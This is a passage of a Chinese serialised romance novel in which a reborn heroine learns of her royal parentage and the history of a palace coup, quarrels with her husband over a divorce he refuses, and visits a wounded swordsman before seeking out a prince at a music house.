李彦成登基后,颁布的第一道圣旨,是命齐腾、洛青莞率兵西征,夺回被胡人侵占的城池,将胡人驱逐出中原,护住边关百姓。
此举大得民心,民间高呼圣上贤明。
而如此贤君,唯一令人诟病的,是他娶了先帝的皇后。
世人皆叹,先皇后之容貌该是何等的艳绝无双,才能为两帝之后。
再后来,待李承烨登基后,坊间便开始流传,先皇后不贞不洁,李彦成不仁不义,两人苟且暗害了先帝,将两人贬成万恶不赦的千古罪人。
李承烨,便是当年,侥幸逃离汴京的先帝太子。
他在泉郡韬光养晦二十多载,后来终于杀回汴京,手刃李彦成复位。
成王败寇,史书本就由胜利者书写。
江元音后知后觉明白了李承烨对她滔天恨意的来源,浑身都在发抖。
他恨透了先皇后,认为是先皇后勾结他的皇叔李彦成,害死了他的父皇。
他被迫困在弹丸之地泉郡,把对先皇后的恨,都转移发泄在了她身上。
从他的属下发现她身上的莲花刺青,他便将在禁锢在身边折磨。
后来他终于复位成功,可先皇后早已离世多年,他便变本加厉的折磨羞辱她。
他喜怒无常,残忍暴戾,立她为后,却从未碰过她。
原来是因为……他们是兄妹?
依照李霁所言,她是他的亲妹妹啊!
仅仅只是因为她这张和先皇后酷似的脸,他便要这般折磨她?
令人作呕的疯子!
过去的记忆如潮水涌来,将江元音淹没。
她不受控地发软哆嗦,小脸惨白,哪怕死死抓着假山,也快要站不住。
“你这是被吓破胆了?”李霁亦吓了一跳,忙伸手扶她,急声安抚道:“你怕什么,日后谨慎些,莫参与宫宴,少与这汴京贵女、贵妇往来,不叫皇兄看见,定然无恙。”
他搀扶着她,“何况本王定会护你。”
江元音在知晓同李承烨是兄妹后,再回忆他那些言行,一阵反胃,俯身干呕。
李霁暗叫不好,没料到她对自己的身世有这般大的反应,更怕她太激动动了胎气,忙道:“你可还能走?不能走本王抱你去看郎中。”
他说着便弯腰作势要抱她。
江元音及时抓住了他的手臂,睁眸盯着他,突兀地问:“所以,王爷是我的……皇叔?”
李霁并不适应这个称呼,但一思索也没错,是以点了点头,又谨慎提醒道:“有他人在场时,可不能这般唤本王。”
江元音将他的手抓得更紧些,有些请求到了嗓子眼,终究还是咽了下去。
不能冲动行事,她得思虑周全。
她调整呼吸,无碍摇了摇头,松开了李霁。
江元音没再返回宴席,而是直接离开了尚书府。
她神色恍惚地回了侯府,没有胃口用晚饭,早早洗漱躺下了。
关于她的身世,她做过的最坏预想,便是她是被父母故意遗弃的。
因为在江兴德和陈蓉的交谈中,提到捡到她时,她襁褓中有黄金珠宝。
若不是有意遗弃,谁会在婴儿的襁褓中塞黄金珠宝?
她想,那些黄金珠宝大概是父母对遗弃她的愧疚补偿,希望捡到她的人家能待她好些。
如今让她大受打击的,却是她同李承烨是亲兄妹。
她很难接受。
这一夜,齐司延因为数日的食不下咽、夜不能寐,加之过度操劳,泡冷水而染了风寒,开始发热。
灼热的体温焚烧着他的理智,绞杀着他的心魔。
他终于可以顺理成章地“烧糊涂”了,回到主屋睡了。
齐司延着单衣,遵循“本能”的,自起居室的床榻而起,目的明确地径直走回了主屋。
他甚至已经想好了,一会拥她入怀被她生气推搡时,他要如何做。
他要用滚烫的额头去贴她的脸颊。
……阿音定会心软。
然而,事与愿违。
当齐司延步伐急切地走到主屋门口时,不仅屋内半点烛光未有,他甚至推不开主屋外间的门。
外间的门落了锁。
齐司延尝试着拨了拨,听到叮叮咚咚的声音后,又停手顿住。
还是不要吵醒阿音了。
他收回了手,却迟迟没有转身抬步离开。
他一动不动地伫立着,薄唇抿成直线,眼底是满溢的苦涩。
为了方便丫鬟们进出侍候,从前主屋的外间从未落过锁。
……这锁是在防他吗?
齐司延借着发热,放任自己在门外站了一夜,直至拂晓时分,方才抬步离开。
四天后,中元节。
江元音逐渐消化接受了自己的身世,越发下定决心,要离开汴京。
从前只是出于感情的考量,想要远离算计利用她的齐司延,现在更是为自己的性命着想了。
曹学良来宣旨召齐司延进宫那日便看见了她,曲休也说,曹学良对李彦成说,她面相生得好,是有福之人,让李彦成见见她。
当时只觉得莫名其妙,现在茅塞顿开。
什么面相生得好,是有福之人,根本是想说她长得像先皇后吧。
怕是当时齐司延等两位妃嫔在场,曹学良才没跟李彦成点明。
也不知道他私下还有没有再跟李彦成提过,若是李彦成哪天心血来潮要召见她,她的清净日子怕是要到头了。
总不能将希望全寄托在李霁身上。
不过有李霁帮忙,与齐司延和离,离开汴京,会变得更顺利。
她心中已有了谋划,待过了中元节,再去同李霁商议。
这一日,江元音过得分外悠闲。
原本在上个月底,她便数着日子,记挂着这一天。
中元节乃祭祀先祖的日子,她身为侯府主母,自要准备妥家祭事宜。
她当时觉得自己同齐司延正式跪拜过了齐腾夫妇的牌位,两人心意相通,二位大将军便是她的父母家人。
现在看来,大可不必。
午饭后,江元音小睡了半个时辰,起来更衣时,命清秋去备马车。
清秋讶然道:“夫人要出门?”
“嗯。”
“可今日是中元节啊,夫人不留在府中等侯爷回来祭祖吗?”
在大昭,中元节官员们只需上午处理公务,过了午时便能休沐回家,准备祭祖事宜。
不出意外,侯爷应该快回府了。
这个时候,夫人要出门?
江元音勾唇,自嘲笑道:“怕是他回了侯府,也不会想同我一道祭祖吧。”
她亦然。
齐腾夫妇为国为民冲锋陷阵,她仍钦佩。
但他们是“害死”她生父的帮手也是事实。
只不过他们如今也已身故,孰是孰非在泉下自有争论,也算是功过相抵,恩怨两消。
她并不打算去背负上一辈子的仇恨,给自己套上枷锁,活成李承烨那个模样。
便当她是自私自我吧,这一世,她想活得轻松自在。
清秋和雪燕闻言,也不敢再劝。
自夫人那回主动去侯爷起居室,次日哭肿了双眼后,夫人便再未去找过侯爷一回。
当然,侯爷也没回过主屋一次。
哎——
也不知道侯爷同夫人要冷战到何时?
清秋应声备车去了,雪燕帮江元音梳发,随口问道:“夫人要去哪?”
“去看看封弋。”距离上回去看他也过去四天了。
“啊,那夫人为何要备马车?”雪燕随之谨慎问道:“可要我去拿一套我的干净衣裳?”
上一回夫人出门去看望封弋,便是穿了她的衣服,扮做她的模样出门。
“不必,”江元音没过多解释,表态道:“没甚危险,大大方方便好。”
先前她是以为李霁是追杀封弋的仇家,是以才这般谨慎。
江元音一身简便的穿着,上了马车,自侯府偏门离开。
未多久,齐司延乘坐马车停在了侯府正门口。
如江元音所言,他独自去了祠堂,祭奠父母。
一跪数个时辰,他正在天人交战。
待最后一炷香燃烬,他俯首磕了几个响头,“孩儿不孝,叩请父亲母亲原谅。”
之后他起身,大步迈回青松院。
“夫人呢?在哪?”
第125章 我知道是你
江元音推开房门时,再次和封弋的视线对个正着。
他仍旧是盘腿坐在床榻上,第一时间捕捉到她进来的身影。
他神色平静,没有起伏,毫不惊讶。
江元音亦习以为常,摘下帷帽朝他走过去,照例先打量他的脸色,半是惊喜半是欣慰道:“你恢复得很快。”
还不到七天,他看起来已经没有生命危险了,之前医馆的郎中可是说要看他能不能熬过半个月呢。
第三回见面,封弋不似先前那般防备冷淡,“嗯”了声,难得主动地解释:“因为静息丸。”
此药甚是奇妙,加之有郎中日夜陪护,不吝各种昂贵药材,他本身底子亦好,懂得运气调理,自是事半功倍。
一提及静息丸,江元音难免会想到齐司延,是以她不愿意过多的讨论。
她正欲问及封弋这几日的情况,却见他眼神忽然变得凌厉,一时杀气四起,手掌摊开,望向门口,是随时准备运功出掌的姿势。
气氛陡然紧张,江元音亦凝神防备看过去。
他仇家追来了?
下一瞬,在这小屋看护封弋四日的郎中急匆匆推门进来。
郎中一张嘴便是熟练的埋怨:“诶——都四日了!少侠还没信任我?怎地回回我进屋,都是一副要杀了我的样子!叫人好生寒心!”
“少侠你可要冷静再冷静,可别哪日失手,一掌把我给劈死了!”
封弋冷冷扫他一眼,似是嫌其啰嗦,更懒得解释。
江元音却捕捉到了关键的字眼,讶然道:“回回?”
“可不嘛,”郎中上前,开始大吐苦水,“这四日我每天早晚给少侠换药,加之一日三餐,端水送汤药,每天进出这屋子没十次也有八回,可每回进来,少侠都是一副要一掌劈死我的模样!”
“这都什么事啊,这活干的,随时都要一命呜呼!”
江元音听完,狐疑看向封弋,无声询问。
封弋惜字如金的解释:“习惯了。”
见她仍盯着自己,又补了句:“我不会失手杀了他。”
他刀口饮血惯了,有风吹草动便警戒,几乎是下意识的本能反应。
江元音目光却未移开,不解问道:“怎么我进来不见你如此?”
除去初见那回,后来的两次见面,她和这郎中一般无二的推门进来,他都只是静默地盘腿坐在床上,没甚大的反应,不露肃杀之气。
“……我知道是你。”
“怎么知道的?”
“……脚步。”
“脚步?”江元音更为不解,直接问道:“我总共来了两回,你便识得我的脚步声,郎中守了你四日,你听不出?”
不合常理的怪异。
封弋不愿回答,便双手放在双膝上,看向于他而言甚是聒噪的郎中,冷声问:“来送药?”
郎中点点头,没像之前一样直接把汤药送至他面前,而是转递给了江元音,道:“夫人,这是少侠今日的第二剂汤药,我已经熬制好,一会稍凉些不烫了,还望夫人提醒少侠服用。”
雪燕上前接过药碗。
郎中没走,堆着笑,又冲江元音道:“夫人,我想同你商量个事。”
“什么事?”
“我在这已守了四日,今天是中元节,家中妻母、孩儿都在等我回去祭祖,既然夫人今日过来了,少侠也有人照料,可否容我归家半日?”郎中连声表态,“夫人放心,戌时前我一定回来,这半日的工钱我也不要,夫人尽管扣去!”
“无妨,”江元音表示了然的颔首,“你将要注意的口述嘱咐我丫鬟一遍,安心回去祭祖便是,这几日你照顾得很细心,我不会克扣你这半日的银钱,接下来仍需你费心照料才是。”
郎中感激不已,连声道:“夫人大度仁善,我日后定会尽心尽力照顾少侠,哪怕……”他瞟了封弋一眼,脸上顿时多了哀怨,“少侠日日都想一掌劈死我。”
封弋无语扫他,“……要不,现在就劈?”
郎中瑟缩了下,连连摇头,嘱咐雪燕、清秋去了。
江元音自雪燕手中接过药碗,摸了摸探了下温度,继而递给封弋:“不烫了,趁热喝吧。”
封弋接过,豪爽如饮酒,举碗一饮而尽。
江元音甚是欣慰地接回空碗,“那你缓缓,我不打扰你。”
她想当然的觉得他需要运功疗伤,毕竟他一直保持着盘腿而坐的姿势。
江元音抬步离开。
这屋子不大,总共只有两间房,虽说带了个小院子,但这个院子其实便是厨房与杂储的地方。
她出了门,便到了院子。
清秋就在院角厨房听郎中说怎么熬封弋晚上要喝的那一帖药,雪燕见江元音出来了,忙迎过来,拿过蒲扇替其扇风:“屋外怕是会有些热,夫人要不还是回屋里待着吧。”
“没事,我就在屋檐下,晒不着日头,而且院子里有风,也不热。”
雪燕闻言不再劝,转身去屋里搬了张椅子出来。
江元音原本没打算久待,但既应承了要回家祭祖的郎中,只好寻些事来打发时间。
是以她坐在屋檐下的椅子上,抬头望着巷弄茂密大树伸进小院的枝干。
阳光斑驳,隐隐绰绰。
她眺望着,放空思绪。
也不知道过去了多久,一道阴影自左上方而来,遮挡住江元音一半的光。
她侧头看去,只见封弋环臂,立在她左侧。
“你怎么出来了?”江元音着实讶然,扬声确认道:“你能下床走路了?”
“嗯。”
江元音扫过他的衣服,提醒道:“可别牵动了伤口。”
“不会。”
封弋每句回答都简短,只留给江元音一个侧脸,凝神远望。
江元音免不了猜测他是不是发现了什么,才出来察看情况,于是顺着他的视线看去,紧声询问:“你在看什么?”
“你在看什么。”
江元音拧了拧眉,有些不悦。
他若不愿告知,她也不会追问,没必要重复她的话来堵她吧?
真是难沟通。
下一瞬,意识到她循着他的视线看到的便是她刚刚放空看到的树木光影后,她后知后觉地回过味来,确认问道:“你是说你在看我在看什么?”
很是绕口的对话,但他刚刚的语气的确不是反问的语调。
“嗯。”
得到封弋肯定的回答,江元音的眼角无语地抽了抽。
就这?
她还以为是有什么突发状况呢。
也不知是不是她把他的处境想得太水深火热,危险重重了,才对他每一个言行都过度解读,随时提心吊胆,以为是他仇家找上来了。
谁知他这般面色凝重认真的盯着,仅仅只是在看她刚刚在看什么?
不过也赖他说话句式习惯异于常人,经常省略主语,再配上他那不苟言笑的脸,平添危机感。
封弋侧头,“你在看树?”
江元音颔首:“是。”
“会不会耽搁了?”
江元音好脾气地问:“会不会耽搁什么?”
改不了他说话的方式,只能她多些耐心了,难得他愿意多说两句话,她也正想打发时间。
封弋:“祭祖。”
江元音恍然,道:“我没先人要祭奠,无需归家祭祖。”
她的生父生母用不着她去祭奠,而齐家的先祖与她无关了,更不用提江家了。
封弋看了她一会,有些话想问又咽下,最后只道:“我也没有。”
江元音不知道是不是错觉,竟在他眼里捕捉到几分小心翼翼,于是勾唇笑了笑,口吻一派轻松地回:“无牵无挂没什么不好,胜在自由,是吧?”
她没有卖惨,更不打算煽情的和他惺惺相惜一番。
封弋:“嗯。”
短暂地沉默,他又问:“确定何时离开汴京了?”
江元音自然是给不出具体的日子的,亦不想他反复问,便随口道:“待你没甚大碍后再说。”
其实现在只要李霁愿意配合,她觉得用不着封弋帮忙,她一样能顺利离开汴京。
但她可不放心把封弋留在汴京,怕他又遇上上一世的恩人,最终还是要去替李承烨卖命。
无论如何,她得先把他安全带离汴京再说。
两人就这样在院子里看树,不时说上两句,度过了一整个下午。
此处住的都是西街最普通的百姓,屋子都不大,人口密集。
到了晚饭的点,邻里间的饭菜香味四溢。
郎中仍旧未归,清秋与雪燕翻找了厨房的食材,简单做了几道菜。
吃过晚餐后,暮色四合,天要黑了。
清秋依照郎中的嘱托将熬好的汤药递给封弋。
雪燕不住张望大门,着急嘀咕郎中怎地还不回来。
江元音倒是镇定自若。
中元节亦有放河灯的习俗,是以和乞巧节一样,没有宵禁。
晚些回去无所谓,反正齐司延要么未回,要么歇在了自己的起居室。
他不会知道她不在侯府的。
毕竟,他既不会问起她,也不会允许别人提起她。
戌时一过,郎中气喘吁吁地赶到,连声解释道歉:“家中有急事,耽搁了几刻钟,少侠勿怪……”他一对上封弋的眼,感到一阵杀气腾腾,瑟缩下堆着笑看向江元音:“夫人辛苦,夫人莫怪。”
江元音无碍摇摇头,上了回程的马车。
一路顺遂驶回侯府,马车低调停在侯府偏门。
她下了马车,前脚刚迈进府内,后脚因为震惊差点没收回。
候在偏门的,竟不是门牙,而是齐司延。
这中元节指定是有些说法的。
……可真是应了节,让她撞鬼了。
第126章 你可想我?我很想你
夜色下,齐司延一身深色锦衣,快与夜色融为一体。
他直直地望着她。
气氛古怪,曲休和雪燕、清秋立场不同,各有各的紧张。
江元音短暂的愣神,随即扬唇,主动却敷衍场面地问道:“好巧啊,侯爷这是刚忙完回府,还是要出门呢?”
齐司延喉间一片温热,一时没能出声。
没有冷脸怒骂,也没有捶打撕咬。
她的笑容一如初初嫁入侯府时的温婉,好似这七日两人之间从未冷战,闹过不愉快。
更仿佛……近段时间的亲密温存,从未有过。
江元音见齐司延没甚反应,脸上笑容不散,一派恭顺地朝他福了福身,“时候不早,妾身不打扰侯爷了。”
语罢她不再看他一眼,抬步朝青松院走去。
微微上扬的唇角在迈过他的瞬间归为直线。
爱说不说,她懒得同他耗。
几步后,齐司延大步跟上,拉住了江元音的手臂。
江元音强忍着甩开他的冲动,驻足转头,又换上场面的盈盈笑脸,“侯爷怎么了?”
“不是刚忙完回府,也不是要出门,”齐司延一一回答她刚刚的问题:“我在等你。”
“等妾身?”江元音眨眨眼,颇有深意地问:“侯爷为何要等妾身?”
他前几日不还对她不闻不问,避之不见,甚至曲休几次要提起她,都被他喝止吗?
今夜是想唱哪一出?
齐司延不答反问:“你今日去哪了?”
见他又一次逃避了,江元音心中不耐,随口回答:“今日没有宵禁,便随便逛逛。”
齐司延蹙眉:“中元节闲逛?”
江元音笑,“是呢。”
齐司延:……
他心绪起伏,拉住她手臂的手下移,如往常那般牵住了她的手。
江元音没有挣脱,也没有回握。
她只是安静看着他,等他下文。
她不明白他是出于什么考量,又来同她示好。
她身上,还有什么可以被他利用的?
那他打算如何粉饰之前那些欺瞒与利用?
然而齐司延却什么也没说,他将她的手牵得更紧一些,快步回了青松院。
一路无言,直至到了主屋门口。
齐司延迟迟不开口,江元音不愿一直同他耗。
于是她开口道:“多谢侯爷送妾身回屋,”接着她看向清秋、雪燕,吩咐道:“去备热水,我要沐浴洗漱。”
吩咐完,她看向齐司延,温声地下逐客令:“时候不早,侯爷早些回起居室歇息吧。”
随后抽回自己的手,迈入屋里。
齐司延用眼神屏退了曲休,长腿一迈,跟了进去。
他再次伸手去牵她,低声哄道:“是我不好,近来太忙,冷落了阿音。”
他双手包裹住她的手,放在自己的胸口,“阿音想怎么出气,我都受着,阿音原谅我一回,可好?”
江元音噙着浅笑,温温柔柔地看着他,眼底却是一片冰冷。
她又自作多情,高估自己了。
他甚至没去编造一些看起来合理的解释,只用了“近来太忙”四个字。
毫无诚意,敷衍至极。
江元音尝试抽回自己的手:“妾身不敢。”
“阿音,”齐司延按住她的手,声音很轻,“你不要这样和我说话,好吗?”
他伸手抚上她的脸颊,试图瓦解她脸上疏离的笑意,“你不想笑,就不要笑。”
他宁可她对他嗔骂撒泼,好过这样接近不了般的笑。
江元音微微侧头,避开齐司延的手,唇角的弧度反而越发的大了:“怎么会不想笑呢?侯爷自从入宫面圣后,回来便对妾身避如猛兽,妾身自省了几日,实在不知做错了什么,原以为侯爷不会再搭理妾身,今夜侯爷却来同妾身道歉……”
“妾身受宠若惊,自然喜笑颜开。”
江元音咬字清晰缓慢,再配上她弯弯的眉眼和泛着冷意的眸光,将嘲讽的意味拉满。
齐司延心口一阵无力的绞痛,他墨色眸底,有克制晦涩的苦楚。
少顷,方才开口道:“这几日是我着了心魔,庸人自扰了,你没有做错什么,无需自省,是我错了。”
“哦?”江元音故作讶然地笑,“不知侯爷在宫里经历了什么离奇古怪的事,竟会让侯爷这般心志坚定之人乱了心神,着了心魔?”
她那日虽因为太过震惊而没跟李霁确认,是否是他透露了她的身世给齐司延。
但稍作思索便能明白,李霁都生出了她若不是先皇后之女,就要将她送进宫,献给李彦成的念头了。
想来宫中必然存在同先皇后相似的女子。
曲休也说,齐司延进宫那日见了瑜贵妃和婕妃。
齐司延定是猜出了些什么,那晚才会一直摩挲她的刺青,说她不是江兴德的女儿。
之后,他开始躲避冷落她便很好理解了。
要么他是因为怕被李彦成发现她的存在,牵连到他,要么是因为他的父母算是“逼死”她父亲的帮凶,他觉得难以面对她?
而无论是哪一个,她都瞧不起。
于她而言,她接受不了的,是他对她的欺骗、愚弄与利用。
他若是真心相待,她并不会在意他是“仇人”的孩子。
上一世,李承烨复位后,几乎重新编写了史书。
她太清楚,历史是由胜利者书写的,十五年前兵变逼宫的真相到底是什么,除了当事人,谁也不清楚。
然而齐腾夫妇驱逐胡人,守护边关安宁却是事实。
她不会仅仅因为血缘,去为一个毫无记忆,不曾相处有过感情的生父复仇。
老天既让她重活一世,这辈子,她只想为自己而活。
齐司延下颌线紧绷,最终也只是摇了摇头,不欲多言。
入宫一趟,她的身世昭然若揭。
他正在筹划推进,为枉死的父母与齐家军复仇,却突然得知,枕边人乃仇人之女。
一边是父母、齐家军的亡魂,一边是挚爱。
他如何选?
他备受煎熬,这几日并不好过,今日在祠堂跪拜忏悔了一下午。
他二者皆要。
至于沉重的往事,何必让她知道,让她牵涉其中?
齐司延的闭口不谈,让江元音的心冷了又冷。
她在心里一遍遍的劝解告诉自己,不要在意一个满嘴谎言的骗子。
既然已经决定离开,就不要再被他扰乱心神。
不要再在乎他说什么做什么。
恰巧这时雪燕、清秋已提了两桶热水过来,江元音再次下了逐客令:“妾身今日逛得太久,甚是乏累,打算沐浴歇息了,侯爷见谅。”
语罢抽回自己的手,转身迈入里间。
然而当江元音沐浴完毕,换上睡衣回到床榻时,齐司延早已冲了澡,坐在床上等她了。
江元音立在床榻前,沉默与之对视。
在心里默念了数遍“无视他”后,她上了床榻。
既琢磨不透他的想法,也撬不开他的嘴,不如早些歇息。
这里是侯府,她也没资格赶他。
可齐司延显然不这么想,他熄灭烛火,随后似从前那般,长臂一身揽过她。
一手枕在她脖颈下,一手环住她的腰,炙热的胸膛贴住她的后背。
亲密无间的距离,齐司延轻嗅她的发丝,只觉得空荡多日的心口终于被填满。
“阿音,”齐司延哑声唤她,将她圈得更紧,低声问道:“你可有想我?”
他一时无法直白吐露自己的想念,只能这般晦涩地表达。
——你可有想我?
——我很想你。
然而背对着齐司延,面朝里侧躺着的江元音,此刻咬住下唇,极力克制自己的情绪。
男人炙热的身体,和情动的嗓音,她再熟悉不过。
他不提他对她的欺骗、隐瞒、利用,仅仅只是说了两句无关痛痒的软话,就想让事情翻篇?
他今日的目的,难道是为了行房事?
江元音如坠冰窖,浑身冰凉。
明明告诉自己,不要在意在乎他,不要再被他牵动思绪。
可此时此刻,委屈与愤怒滋生,快要摧毁她的理智。
齐司延贴着她,在她耳廓脖颈落下密密麻麻的吻。
抑制七日的本能突破了枷锁,他想要和她近一点、再近一点,恨不能将她揉入骨血里。
江元音却猛地挣脱他坐起身,双手撑住他的胸膛,与之拉开距离。
黑暗中,她如他所愿地敛了笑,突兀地开口道:“侯爷可还记得那用缣帛书写的家规?”
骤然终止的亲密拥抱,让齐司延怅然若失。
可又觉得这样会“反抗”的江元音更鲜活,没有了之前不气不恼,只冲他笑的距离感。
他借着微薄的光,抬手轻抚她垂落的青丝,在指间缠绕,他哑声:“嗯?”
江元音沉声道:“缣帛上清清楚楚地写着,若是侯爷有变心亏待我那一日,能准我和离。”
她其实知道不动声色,悄无声息的离开汴京,他未必会知。
但那样她好不容易从江家那带出来的嫁妆,便只能留在侯府了。
她不愿意。
“侯爷,我们好聚好散吧。”
第127章 只是想抱抱你
齐司延缠绕江元音发丝的手一顿,随后发出沉闷的低笑。
江元音:……?
这种时候,他笑什么?
齐司延抬手,慢条斯理将她垂落的发丝撩至耳后,“看来阿音是真的恼我了。”
他声音里反而透出些满足与愉悦。
此刻会气会怒,会说狠话的阿音,才是真实的。
她在意他,才会说气话。
江元音心里压抑的火气全被他这不以为然的笑声刺激到迸发,冷冷挥开他的手,“侯爷心情不好,便对妾身爱答不理,拒之门外,侯爷心情好了,便一副什么都没发生的样子。”
“是,侯爷高贵显赫,所思所想自没同妾身明说的必要,妾身低微,但也是个活生生的人,自知没有问责侯爷的资格,难不成还不能气恼?”
“能,”齐司延心情越发的好,被她挥开的手又锲而不舍凑近她,虚虚揽过她的腰,“阿音想恼便恼。”
他声音越发轻柔,好声好气地问:“阿音要如何才能不生气?”
“不管阿音是想打想骂,想如何罚我,只要能让阿音解气,我都受着,”他隔着睡衣摩挲她的腰,哄道:“阿音原谅我,可好?”
江元音坚持不懈地挥开齐司延锲而不舍地朝她伸出的手,言简意赅地重复:“我要和离。”
她要的不止是离开汴京,离开他。
她更要为余生谋划。
不和离,她不仅是带不走全部的嫁妆,更拿不到户籍凭证。
而没有户籍凭证,她轻则拿不到名下那些铺子、田地的收益,重则会被没收财产,失去良籍,沦为贱籍、黑户。
一旦他不肯放过她,在大昭境内她都可能被通缉。
她并不想过东躲西藏的日子。
当初便是因为思虑到了这一点,她才会借着秦瑾烟同齐明宏的事,向齐司延要个承诺,将准她和离写进家规里。
没成想,竟这么快便派上了用场。
齐司延孜孜不倦,这回两只手都出动,将坐起身的她拉回自己的怀抱。
他一手锢住她的腰,一手穿过她的发丝,将她的脑袋按在自己的胸口上,下巴抵住她的发顶,沉声道:“这个不行。”
“……侯爷刚刚明明说,只要能让我消气,便都会受着。”
“除了这个。”
江元音更气,言语带刺,意有所指的冷声戳破道:“所以家规上写的通通不作数,或者说,只对我作数?”
说什么坦诚,还不是只让她说实话?
从头到尾都在愚弄她。
他倒是心安理得。
齐司延抚着江元音的发,好似在安抚一只炸毛的小猫,“自然不是,可我并未变心,阿音为何要与我和离?”
“家规上写的是,若是侯爷有变心亏待我那一日,”江元音认真地重读了一遍,恨不能逐字同他理论,“侯爷变未变心暂且不论,但侯爷亏待我了。”
她如今已没了那个自信,笃定他是爱她的。
他对她只有欺瞒利用,或许根本没对她动过心,自然没有变心一说了。
齐司延自知理亏,态度极好的认错:“这七日是我做得不好,阿音念我初犯,给我个补偿弥补的机会可好?我日后定不再犯。”
江元音心口酸胀:“侯爷亏待我的,何止这七日。”
齐司延只当她在使性子,耐心极好的哄着:“我何时还亏待阿音了?阿音一并说出来,我逐一道歉改正。”
江元音如鲠在喉,仅存的理智在努力的权衡利弊。
如果将他的所作所为悉数挑破,她是痛快不憋闷了,但他们也就撕破脸,没法维持表面的和平了。
那就更别提好聚好散了。
江元音数不清是第几次尝试挣脱他的怀抱,但仍旧失败了,她带着情绪,怒道:“现在!”
“嗯?”
“侯爷言而无信,家规形同虚设,横竖都是侯爷说了才算,妾身不愿行房事,还请侯爷回起居室睡吧。”
她宁可他像之前一样,对她不闻不问,
那他们在正式和离前可以“相敬如宾”。
可他偏偏还要与她同房,她委实……难以忍受。
若不是他今晚不安分,她本可以和他相安无事地同塌而眠,不至于情绪上头,此刻同他提和离。
于齐司延而言,他们不过是冷战了七日。
她心里有委屈埋怨,想同他闹,都是正常的,他并未把她说的“和离”当真。
可她现在这句话,多少有些令他受伤。
他微不可闻地叹了口气,方承诺道:“我知你仍在气头上,你不愿意,我不会强来的。”
“我只是想抱抱你,并非要逼你行房事。”
江元音气得咬痒,干脆张口咬住他的胸口泄愤。
“嘶——”
齐司延疼得抽气,却一如既往地不推开不反抗,纵容她咬着。
之前床笫间,他将她欺负狠了,她便会张嘴咬他。
熟悉的疼痛感带给他的是安心。
她发泄完了,是不是就能原谅他了?
等到江元音没力松了嘴,齐司延问道:“撒完气了?”
“……”
“若是不够,再多咬几口?”
江元音有种一拳打在棉花上的无力感,突然就泄了气。
他到底是什么脑回路?
齐司延圈住她的力道半分没松,甚至还紧了紧,一开口声音却很轻,带着他自己都没有意识到的卑微,“撒完气了,就不要再赶我走了,好吗?”
被她用锁拒之门外的经历,他不想再体验第二回。
江元音有一瞬动容,随即又强迫自己冷静。
不要听,不要想,不要看。
不要……再上当。
这一夜,江元音觉得自己像被上了人形镣铐。
他醒着时,她挣不脱,待他睡着了,她只要一动,便会被他捞回来。
并且,他每捞一次都会将她抱得更紧。
江元音被折磨了一夜,直至后半夜,实在困得撑不住,才疲惫睡去。
次日清晨,齐司延倒是神清气爽地醒来了。
果然,有她在怀,方能安睡。
齐司延没急着起床,而是静默地注视着江元音。
从她的眉睫到秀挺的鼻子,他用眼睛描绘勾勒着她的五官。
太炙热的目光自带超强的存在感,何况江元音本就是浅眠。
她不愿睁开眼看他,只盼着他快些起床离开。
齐司延沙哑的声音随后响起:“醒了?”
江元音一动不动。
她连睫毛都没眨一下,他是怎么看出来的?
齐司延好似能听到她心声一般,开口道:“你呼吸变了。”
她醒了,他便没有了会不会吵醒她的顾虑,倾身凑近,额头抵住她的额头。
鼻息相闻,最是心安。
江元音不得不“醒”过来,脖子后仰拉开两人的距离。
她婉转问道:“侯爷近来都早出晚归,今日不忙?”
“近来的确事多,”齐司延浅笑道:“多谢夫人关心。”
江元音:……
她这是关心他吗?
她分明是暗示他该起床了。
上一刻还同她心有灵犀的齐司延,这一刻便读不懂她眉目中的无语了一般,兀自沉浸在被她“关心”的愉悦里。
江元音真是不知道他到底在暗爽什么,再次重复问道:“侯爷今日无事?”
齐司延的笑容终于收了收,回道:“今日仍旧事多,皇上又召我入宫,当是为我官职一事。”
他点到即止,歉然道:“今日怕是不能陪阿音吃饭了。”
江元音求之不得,催促道:“那侯爷还不快些起床洗漱?”
齐司延短暂的沉默,见她眉眼间透着困怠,于是松开她起身下床。
一晚上的桎梏消散,江元音如释重负,立即转身朝向里侧。
齐司延站起身,想再同她惜别两句,一回头却只能看到她的背影了。
要给炸毛的小猫顺毛,比他想象中的艰难。
只能慢慢来了。
他认命地叹了口气,俯身弯腰替她掖了掖被子,随后抬脚离开。
江元音补了个觉,快过午时才起。
醒来后,稍作梳洗,用过午餐,一天中日头最烈的时候便过去了。
她命人去备马车,熟练地自侯府偏门离开。
江元音目的明确,去的是珩王府。
齐司延不认缣帛家规,她只能去寻李霁帮帮忙了。
马车低调的停在离珩王府数丈远的街角,江元音戴上帷帽,下了马车,主仆三人步行至珩王府前。
她掏出李霁上回留给她的信物,递给看门的门房:“劳烦通报,妾身求见珩王爷。”
门房认出了信物,立即毕恭毕敬的回道:“真是不凑巧啊夫人,我家王爷刚离府不久呢。”
江元音问道:“敢问王爷去了何处,何时归府?”
若是他要忙正事,一时半会回不来,她便留个口信,改日再来。
因着这信物,门房没有隐瞒,如实以告:“夫人,我家王爷去了鹤鸣琴筑,何时归来,小的也说不准。”
江元音表示了然的点点头,将信物仔细收入袖袍,转身离开,走回马车。
雪燕询问道:“夫人,我们现下去哪?”
“去鹤鸣琴筑。”
“直接去寻珩王爷?”
“嗯。”
江元音记得前几日的赏荷宴,那些个贵夫人闲聊时提到了鹤鸣琴筑。
不远,就在汴京东边,专供王孙贵族听琴弹曲,玩乐消遣的雅地。
那日抚琴的南笙便是那的头牌乐师。
想来李霁是去听南笙弹曲了。
既不是她不便打扰的正事,她直接去找他便是。
第128章 请皇叔助侄女和离
不过一刻钟,江元音便到了鹤鸣琴筑。
同西街门前人来车往,热闹非凡的遇仙楼截然相反。
它正门口用木石造景,除了人造的潺潺流水声,不闻半点人声,营造出高雅的意境。
江元音不免想到了那些个贵夫人对李霁的评价,心道他可真是无心朝堂,满心风月诗乐的风流郎君。
这时门房迎上来,不着痕迹地打量着马车,浅笑扬声问道:“请问车内是哪位贵人赏脸光临?”
他虽一时认不出面前的马车是哪位贵人家的,但他们鹤鸣琴筑只接待汴京的权贵官宦,不接待商贾平民,这是全城皆知的。
想来马车内的人,一定身份高贵,不能得罪。
江元音掀开了车窗帘,再次将李霁给她的信物递过去,道:“我来找珩王爷,烦请通报。”
她若亮出侯府的令牌,一样能顺利进去。
只是“侯夫人”单独来寻“珩王爷”,被嘴碎之人传出去,招致非议不说,怕是要惹来麻烦。
还是谨慎些好。
门房收了信物,越发恭敬地俯身行礼:“贵人稍等,小的这就去禀告。”
未多久,门房领了个堂倌一道折返。
